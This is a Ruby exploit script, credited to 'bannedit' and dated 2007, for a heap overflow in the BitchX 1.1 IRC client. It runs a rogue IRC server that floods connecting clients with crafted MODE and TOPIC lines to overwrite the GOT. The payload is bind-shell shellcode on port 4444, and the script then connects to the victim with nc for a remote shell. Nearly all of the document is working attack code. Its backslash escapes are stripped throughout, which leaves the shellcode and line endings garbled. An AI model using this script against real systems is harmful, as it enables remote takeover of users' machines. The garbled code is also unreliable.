#!/usr/bin/env ruby
######################################################
# BitchX-1.1 Final MODE Heap Overflow [0-day]
# By bannedit
# Discovered May 16th 2007
# - Yet another overflow which can overwrite GOT
#
# I found this vuln after modifying ilja's ircfuzz
# code. Currently this exploit attempts to
# overwrite the GOT with the ret address to the
# shellcode.
#
# The actually vulnerability appears to be a stack
# overflow in p_mode. Due to input size restrictions
# the overflow can't occur on the stack because we can
# only overflow so much data. Luckily though we
# overwrite a structure containing pointers to heap
# data. This allows us to overwrite the GOT.
#
# Reliability of this exploit in its current stage is
# limited. There appears to be several factors which
# restrict the reliability.
#######################################################

require 'socket'

#the linux 2.6 target most effective atm
targets = { 'linux 2.6' => '0x81861c8', 'linux 2.6 Hardened (FC6)' =>
'0x8154d70','freebsd' => '0x41414141' }

shellcode = #fork before binding a shell provides a clean exit
            "x6ax02x58xcdx80x85xc0x74x05x6ax01x58xcdx80"+

             #metasploit linux x86 shellcode bind tcp port 4444
            "x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xfc"+
            "x98xd8xb8x83xebxfcxe2xf4xcdx43x8bxfbxafxf2xdaxd2"+
            "x9axc0x41x31x1dx55x58x2exbfxcaxbexd0xedxc4xbexeb"+
            "x75x79xb2xdexa4xc8x89xeex75x79x15x38x4cxfex09x5b"+
            "x31x18x8axeaxaaxdbx51x59x4cxfex15x38x6fxf2xdaxe1"+
            "x4cxa7x15x38xb5xe1x21x08xf7xcaxb0x97xd3xebxb0xd0"+
            "xd3xfaxb1xd6x75x7bx8axebx75x79x15x38"
           

port = (ARGV[0] || 6667).to_i
sock = TCPServer.new('0.0.0.0', port)

ret = (targets['linux 2.6 Hardened (FC6)'].hex)

puts "----------------------------------------------"
puts "- BitchX-1.1 Final Mode Heap Buffer Overflow -"
puts "- By bannedit                                -"
puts "----------------------------------------------"


puts "n[-] listening for incoming clients..."

while (client = sock.accept)
   ip = client.peeraddr

   buffer = client.gets
   puts "[<] #{buffer}"
  
   hostname = ([ret].pack('V')) * 13
   nick = "bannedit"

   #Fake server reply to connection
   buffer = ":#{nick} MODE #{nick} :+iwrn"+
            ":0 001 #{nick} :biznitch-1.0rn"+
            ":5 002 #{nick} :biznitch-1.0rn"+
            ":6 003 #{nick} :arn"+
            ":aaa 004 #{nick} :arn"+
            ":aaa 005 #{nick} :arn"+
            ":aaa 251 #{nick} :arn"+
            ":aaa 252 #{nick} :arn"+
            ":aaa 253 #{nick} :arn"+
            ":aaa 254 #{nick} :arn"+
            ":aaa 255 #{nick} :arn"+
            ":aaa 375 #{nick} :arn"+
            ":aaa 372 #{nick} :arn"+
            ":aaa 376 #{nick} :arn"
           
   join =   ":aaa 302 #{nick} :#{nick}=+#{nick}@#{nick}rn"+      
            ":#{nick}!#{nick}@#{hostname * 4} JOIN :#hackersrn"

   puts "[>] sending fake server response"
   client.send(buffer, 0)
   sleep(2)
#   client.send(join, 0)

   topic =  ":aaa TOPIC #hackers:"
   ret = ret + 0x200
   topic<<  ([ret].pack('V')) * 100
   topic<< "rn"
   for i in 0..20
   client.send(topic, 0)
   end

   puts "[>] sending evil buffer"
   evilbuf = ":#{hostname}  MODE "
   evilbuf<< "#{nick} :aaa"
   ret = ret + 0x200
   evilbuf<< ([ret].pack('V')) * 200
   evilbuf<< "x90" * (1126 - shellcode.length)
   evilbuf<< shellcode
   evilbuf<< "x90" * 40
   evilbuf<< "rn"
  
   for i in 0..5
      client.send(evilbuf, 0)
   end

sleep(10) #wait for the shellcode to do its thing...

puts "[+] exploit completed if successful port 4444 should be open"
puts "[+] connecting to #{ip[3]} on port 4444 and dropping shell...nn"

   fork {
           system("nc #{ip[3]} 4444")
           puts "[+] exiting shell dropping back to listener"
        }
end

# www.Syue.com [2007-08-27]